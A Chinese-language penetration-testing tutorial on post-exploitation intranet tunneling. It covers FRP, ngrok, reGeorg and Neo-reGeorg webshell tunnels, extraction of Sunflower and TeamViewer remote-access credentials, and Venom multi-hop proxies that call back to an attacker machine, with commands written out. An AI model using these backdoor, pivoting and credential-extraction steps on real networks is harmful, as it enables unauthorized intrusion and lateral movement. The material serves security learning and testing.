内网穿透的概念
内网穿透,也叫NAT穿透,进行NAT穿透是为了使具有某一个特定源ip地址和源端口号的数据包不被NAT设备屏蔽而正确路由到内网主机
正向代理和反向代理
什么是代理
代理就是中介,A和B之间有一个中间C,C就是中介。
刚开始的时候,代理多数是帮助内网client访问外网server用的,后来出现了反向代理,“反向”这个词在这儿的意思是指方向相反,即代理将来自外网客户端的请求转发到内网服务器,从外到内。
正向代理
正向代理类似一个跳板机,代理访问外部资源。(比如国内访问谷歌)
我们在获得外网服务器的一定权限后发现这台服务器可以直接或者间接的访问内网,此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许来自外网机器的访问的。这时候,我们可以将这台外网服务器设置成为代理,使得我们自己的攻击机可以直接访问与操作内网中其他机器。
按照代理协议在TCP/IP协议栈中的所处的位置,可以将正向代理分为HTTP代理和SOCKS代理。HTTP代理技术要求所有代理流量按照HTTP协议进行传输,使用SOCKS代理技术则可以直接在网络层传输代理数据包。HTTP代理工作在应用层,SOCKS代理工作在网络层,所以SOCKS代理技术比HTTP代理快得多。
反向代理
反向代理(Reverse Proxy)实际的运行方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个服务器
socks协议
Socks协议又被称为防火墙安全会话转换协议,工作在OSI参考模型的第五层(会话层)
它是一种可以穿透防火墙的协议,很多场景都会用到。
因为Socks
介于传输层与表示层之间,使用TCP协议传输数据,因而不提供传递icmp
信息之类的
目前有两个版本:SOCKS4
和SOCKS5
SOCKS4支持telent
,ftphttp
等tcp
协议
SOCK5支持TCP与UDP,并支持安全认证方案
PS:Socks
不支持ICMP
,不能使用ping
命令
FRP内网穿透
内网穿透原理是映射端口,能让外网的电脑找到处于内网的电脑,简单的来说就是局域网的服务外网访问不到,通过内网穿透技术来实现外网到内网的端口映射,进行实现外网访问内网服务。
FRP是一个反向代理软件,它体积轻量但是功能强大,可以使处于内网或防火墙后的设备对外界提供服务,它支持HTTP、TCP、UDP等众多协议。我们今天仅讨论TCP和UDP相关的内容。(不支持SOCKS)
搭建一个完整的frp服务链,我们需要:
1 | 1.VPS一台(其实只要是具有公网IP的服务器就好) |
服务端设置
ssh连接到VPS之后运行如下命令查看处理器架构,根据架构下载不同版本的Frp。
1 | arch |
下载后解压出以下文件
我们只需要关注frps
,frps.ini
,frpc
,frpc.ini
四个文件,前两个文件分别是服务端程序和服务端配置文件,后两个文件分别是客户端程序和客户端配置文件。
修改frps.ini文件
这个文件应该有如下格式
1 | [common] |
如果没有必要,端⼝均可使⽤默认值,token、user和password项请⾃⾏设置。
“bind_port”表示⽤于客户端和服务端连接的端⼝,这个端⼝号我们之后在配置客户端的时候要⽤到。
“dashboard_port”是服务端仪表板的端⼝,若使⽤7500端⼝,在配置完成服务启动后可以通过浏览器访问 x.x.x.x:7500 (其中x.x.x.x为VPS的IP)查看frp服务运⾏信息。
“token”是⽤于客户端和服务端连接的⼝令,请⾃⾏设置并记录,稍后会⽤到。
“dashboard_user”和“dashboard_pwd”表示打开仪表板⻚⾯登录的⽤户名和密码,⾃⾏设置即可。
“vhost_http_port”和“vhost_https_port”⽤于反向代理HTTP主机时使⽤,本⽂不涉及HTTP协议,因⽽照抄或 者删除这两条均可。
之后我们就可以运行frps的服务端了
1 | ./frps -c frps.ini |
此时如果访问x.x.x.x(你的公网ip地址):7500,并使用自己设置的用户名密码登录,即可看到仪表板界面。
但是此时我们的服务端仅仅运行在前台,如果Ctrl+C停止或者关闭SSH窗口后,frps均会停止运行,因而我们使用nohup命令将其运行在后台
1 | nohup ./frps -c frps.ini & //带&意味着即使终端关闭,或者电脑死机程序依然运行 |
输出如下内容表示正常运行
1 | nohup: ignoring input and appending output to 'nohup.out' |
此时用jobs可以查看运行的程序。
客户端设置
frp的客户端就是我们想要真正进行访问的那台设备,大多数情况下会是一台windows主机。
依然根据系统版本下载对应的frp。用文本编辑器打开frpc.ini。与服务端类似,内容如下:
1 | [common] |
其中common字段下的三项即为服务端的设置。
“server_addr”为服务端IP地址,填⼊即可。 “server_port”为服务器端⼝,填⼊你设置的端⼝号即可,如果未改变就是7000 “token”是你在服务器上设置的连接⼝令,原样填⼊即可。
frp实际使用时,会按照端口号进行转发,原理如下图所示:
上面的frpc.ini的rdp,smb字段都是自己定义的规则,自定义端口对应时格式如下:
“[xxx]” 表示一个规则名称,自己定义,便于查询即可。
“type” 表示转发的协议类型,有TCP和UDP等选项可以选择,如有需要可以自行查阅frp手册。
“local_port” 是本地应用的端口号,按照实际应用工作在本机的端口号填写即可。
“remote_port” 是该条规则在服务端开放的端口号,自己填写并记录即可。
RDP,即remote desktop远程桌面,windows的rdp默认端口是3389,协议为TCP,建议使用frp远程连接前,在局域网中测试号,能够成功连接后再使用frp穿透连接。
这里就是把这台客户机上的rdp放在服务器上的7001号端口。
配置好后再命令提示符下输入
1 | ./frpc -c frpc.ini |
不要关闭命令行(这样会造成frp连接的断联,如果想要保持长久连接,可以尝试加入windows的服务或者注册表里)接下来便可以使用相应的程序访问xxxx:xxxx(ip为vps的ip,端口为自定义的remote_port)即可访问到相应服务。
比如我就可以使用自带的rdp,访问服务器上的7001端口,去控制被控制的windows端口。
Ngrok内网穿透
ngrok是一个用go语言编写的反向代理,通过在公共的端点和本地运行的web服务器之间建立一个安全的通道。ngork可捕获和分析所有通道上的流量,便于后期分析和重放。
Ngrok是什么意思
ngrok是一个反向代理,通过在公共的端点和本地运行的Web服务器之间建立一个安全的通道。Ngrok是国外发布的一个开源项目,也是一个公开的运行服务,但被国内墙掉了。国内一个机构建立并运营了一个ngrok运行服务器,地址为:http://www.ngrok.cc/ 。其支持http的80端口和tcp端口转发。
如何通过Ngrok实现内网穿透
- 注册登录ngrok平台,申请一个ngrok.cc下的二级域名,并在基本信息里面获得token值。
下载ngrok客户端并运行,输入token值即可。这样该机器就相当于一个web服务器。
1
ngrok-authtoken 密钥 -subdomain 二级域名 端口
接着访问就好了。
reGeorg+Proxifier
reGeorg利用了socks5协议建立隧道,结合Proxifier可将目标内网代理出来。
https://github.com/sensepost/reGeorg
该文件下支持php,ashx,asp,jsp,aspx
根据服务器支持语言,选择脚本上传到服务器端,访问显示”Geory says,’All seems fine’”,表示脚本运行正常。
1 | python2 reGeorgSocksProxy.py -p 9999 -u http;//url:port/tunnel/tunnel.jsp |
运行reGeofy监听9999端口,程序卡在”Georg says,’All seems fine’”,表示正常运行
下面配置Proxifier,运行Proxifier之后设置代理。
- 设置代理服务器,127.0.0.1(本机地址)+-p指定的端口
设置代理的规则(推荐),动作这里会有三个状态,Direct(放行),Block(阻塞),Proxy(代理)。这里可以设置需要代理的内容,以及放行的程序。
也可以通过右击需要代理的程序进行代理,选择proxifier proxy socks5 127.0.0.1 进行远程连接。
Neo-reGeorg
Neo-reGeory是一个重构reGeorg的项目,目的是:
- 提高了tunnel连接安全性
- 提高可用性,避免特征检测
- 提高传输内容保密性
- 应对更多的网络环境场景
使用方法
1.使用命令行生成后门.
1 | python neoreg.py generate -k solkatt -k表示你的密码 |
之后便会在neoreg_servers文件夹下生成后门文件
在生成的websehll中选择目标机器对应语言的后门上传。这里我选择的是php。
在本机中使用如下命令监听端口:
1 | python neoreg.py -k solkatt -u http://192.168.52.143/tunnel.php -p 4444 |
表示建立隧道成功。
接下来我可以使用proxifier来使用该隧道,在服务里添加规则就好
向日葵代理及teamviewer
重要⽂件config.ini
向⽇葵的配置⽂件最重要的地⽅有三处,分别为:encry_pwd
、fastcode
、fastcodehistory
encry_pwd 为本机验证码,为密⽂,不可解密 encry_pwd=wdtEBc/PIxU=
fastcode 为本机识别码,为明⽂ fastcode=308976636
fastcodehistory 为本机识别码历史,为密⽂,⽤ base64 解密即可,如果你的向⽇葵从来没有连接过别的主机, fastcodehistory 就为空
新版的向⽇葵 配置⽂件没有这⼏个字段,但是这些字段还可以⽤。需要重启向⽇葵⽣效 (安装版重启需要bypassuac)(绿⾊版) 假设对⽅安装了向⽇葵,(安装版),可以更改⾃⼰的向⽇葵验证码喝识别码,保持与对⽅⼀致也可以连接
https://github.com/wafinfo/Sunflower_get_Password/
teamviewer获取密码 提取TeamViewer要⽤到的⼯具是由github会员uknowsec提供,使⽤⼯具名SharpDecryptPwd.exe。
1 | sharpDecryptPwd.exe -teamviewer |
致命守护者(Venom)
Venom是为了快速建立多层代理而使用的工具
测试环境:
1 | 攻击机: 192.168.137.1 |
配置设施为:攻击机ping不通办公和核心,dmz可以ping通办公,但是不能ping核心。办公机可以ping核心机。
- 攻击机开启监听
1 | admin.exe -lport 9999 |
- dmz机器开启代理连接
1 | agent.exe -rhost 攻击机IP -rport 9999 |
- 执行命令,将流量代理到7777端口
1 | goto 1 |
- 将agent.exe上传至内网办公主机
并在攻击机上让节点一进行监听,也就是在边缘机器dmz上等待内网办公机器连接。
1 | listen 9998 |
在内网主机上执行命令连接dmz机器
1 | agent.exe -rhost 192.168.52.143 -rport 9998 |
这时候在攻击机上使用show命令,查看节点,就可以发现已经有2个节点,选择节点2,并将socks代理到本机9998端口。
这时候只要挂上代理就可以访问内网核心主机了。
内⽹穿透时,代理需要稳定、隐蔽,思路更需要不断的拓宽。毕竟在实战中,多么复杂的环境都会遇到,更多的是 总结不同打法,进⾏落地,最终将内⽹的“⼤⻔”打开!